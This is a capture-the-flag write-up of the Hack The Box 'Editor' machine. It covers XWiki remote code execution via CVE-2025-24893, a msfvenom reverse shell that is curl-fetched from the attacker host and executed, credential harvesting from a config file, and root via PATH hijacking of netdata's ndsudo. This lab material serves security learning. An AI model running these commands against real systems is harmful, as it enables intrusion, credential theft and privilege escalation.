HTB: Editor

| Vhost | Subdomain | XWiki | RCE | CVE-2025–24893 | NetData | NDSudo | PATH Hijacking |

Port Scan

Nmap Version Scan

> sudo nmap 10.129.254.121 -p- -sCV --open --min-rate=1000 -oN editor-nmap-version

Based on the Nmap version scan, this Linux target had three open TCP ports: SSH on port 22, HTTP on port 80 and 8080. In addition, the scan discovered the virtual host editor.htb on port 80.

Vhost

The vhost editor.htb was added to the /etc/hosts file to ensure the proper DNS resolution.

HTTP Enumeration

HTTP Page

> http://editor.htb

Upon browsing to the editor.htb page, I was greeted with a web site of a Code Editor. Clicking the Docs link in the upper-right corner led me to wiki.editor.htb, like the following image.

However, the subdomain couldn’t be resolved yet.

Subdomain

To enable proper DNS resolution, the subdomain wiki.editor.htb was added to the /etc/hosts file, too.

XWiki

> http://wiki.editor.htb

Browsing to http://wiki.editor.htb led me directly to http://wiki.editor.htb/xwiki/bin/view/Main. The subdomain was the wiki page of the Code Editor running XWiki.

🤔 What is XWiki?

XWiki is an open-source enterprise wiki and collaboration platform used to manage internal documentation and knowledge bases.

XWiki Version

At the bottom of the wiki page, the XWiki’s version number 15.10.8 was found.

SearchSploit: XWiki

> searchsploit xwiki

With searchsploit, I found an exploit for Remote Code Execution (RCE) in XWiki.

EDB-52136

> searchsploit -x 52136

  -x <file> : open the exploit file

Now that the vulnerability affects versions up to and including XWiki 15.10.10, the target’s XWiki 15.10.8 was vulnerable to this RCE vulnerability (CVE-2025–24893). The vulnerability allows us to execute arbitrary code remotely through the SolrSearch endpoint.

Initial Access: RCE with XWiki

[embed]Exploit/CVE-2025-24893.py at main · a1baradi/Exploit All Exploit List Made By Me. Contribute to a1baradi/Exploit development by creating an account on GitHub.github.com

Code Modification: PATH to Main Directory

BEFORE:   /bin/get/Main
AFTER:    /xwiki/bin/view/Main/

> python CVE-2025-24893.py

By modifying the path to the XWiki’s Main directory from /bin/get/Main to /xwiki/bin/view/Main, where target’s XWiki was located, the exploit was executed successfully.

Output from Exploit: /etc/passwd

The resulting output from the CVE-2025–24893.py exploit contained the content of /etc/passwd. I identified the username oliver in the output.

Code Modification: Remove the Check for Root String

BEFORE:   if response.status_code == 200 and "root:" in response.text:
AFTER:    if response.status_code == 200:

In order to execute commands other than cat /etc/passwd, I needed to remove the check for root: string, which is specific to the /etc/passwd file.

Msfvenom

> msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.33 LPORT=443 -f elf > shell.elf

First, I prepared the Linux reverse shell payload named shell.elf using Msfvenom.

URL Encoding

RCE Payload

> curl 10.10.14.33/shell.elf -o /tmp/shell.elf
> chmod +x /tmp/shell.elf
> /tmp/shell.elf

exploit_url> dprintln(%22[URL-Encoded RCE Payload]%22.execute().text)

To transfer and execute shell.elf on the target, I executed the three commands above in sequence by taking advantage of the RCE vulnerability. Each command was URL-encoded using Burp’s Decoder before assigning it to the exploit_url variable.

Shell as XWiki

> nc -lnvp 443
> whoami
> id
> hostname

Once the third command /tmp/shell.elf was executed successfully, the reverse shell as xwiki returned.

Shell Upgrade

> python3 -c 'import pty;pty.spawn(“/bin/bash")'
> [Ctrl] + Z
> stty raw -echo; fg
> export TERM=xterm

The shell was upgraded to a fully interactive shell.

Credentials in Configuration File

> cat /etc/xwiki/hibernate.cfg.xml

I found a cleartext password in one of the XWiki configuration files named hibernate.cfg.xml.

Lateral Movement: XWiki → Oliver

SSH Login: Oliver

> ssh oliver@10.129.231.23
> ls -la

The password from the hibernate.cfg.xml file granted SSH access to the target as user oliver.

The user.txt flag was located in the oliver’s home directory.

Privilege Escalation: NetData

ID of Oliver

> id

The user oliver belonged to the uncommon group netdata.

🤔 What is Netdata group in Linux?

In the context of Linux, the netdata group refers to a system group specifically created for the Netdata monitoring tool.

Netdata Version

> /opt/netdata/bin/netdata -version

The target was running netdata 1.45.2.

Uncommon SUID Binaries

[embed]GitHub - diego-treitos/linux-smart-enumeration: Linux enumeration tool for pentesting and CTFs with… Linux enumeration tool for pentesting and CTFs with verbosity levels - diego-treitos/linux-smart-enumerationgithub.com

> ./lse.sh -l 1

  -l <level of enumeration>

The Linux smart enumeration (lse) scan showed several netdata-related uncommon setuid (SUID) binaries.

Vulnerability in NDSUDO

[source] https://github.com/netdata/netdata/security/advisories/GHSA-pmhq-4cxq-wj93 Among the netdata-related SUID binaries, the ndsudo tool of netdata 1.45.2 was vulnerable to local privilege escalation via PATH hijacking.

Commands in NDSUDO

> ./ndsudo -h

Running command nvme-list in ndsudo triggers the execution of nvme.

Shell in C

As a first step of privilege escalation, I created a C code. It configures the UID and GID of the current process to 0 so that it will run with root privileges, and it spawns a privileged bash shell.

Cross-Compiling

> x86_64-linux-gnu-gcc shell3.c -o shell3

Since I was using Kali ARM64, cross-compiling the C code was necessary to generate the binary for Linux AMD64 named shell3.

PATH Hijacking

> export PATH=/tmp:$PATH
> echo $PATH

Adding /tmp to the beginning of the PATH environment variable gives it the highest precedence when searching for binaries, a technique known as PATH hijacking.

Privilege Escalation

> curl 10.10.14.33/shell3 -o /tmp/nvme
> chmod +x /tmp/nvme
> echo $PATH
> ./ndsudo nvme-list

> whoami
> id

The shell3 binary was uploaded to the target as /tmp/nvme and was granted execute permission. Once ndsudo nvme-list was executed, it searched for the nvme executable in the PATH environment variable in sequential order. As a result of the PATH hijacking, my own version of nvme in /tmp was executed, and it returned a privileged shell as root.

The root.txt flag was found in the /root directory on the target Editor.

Thank you for taking the time to read my write-up! ❄️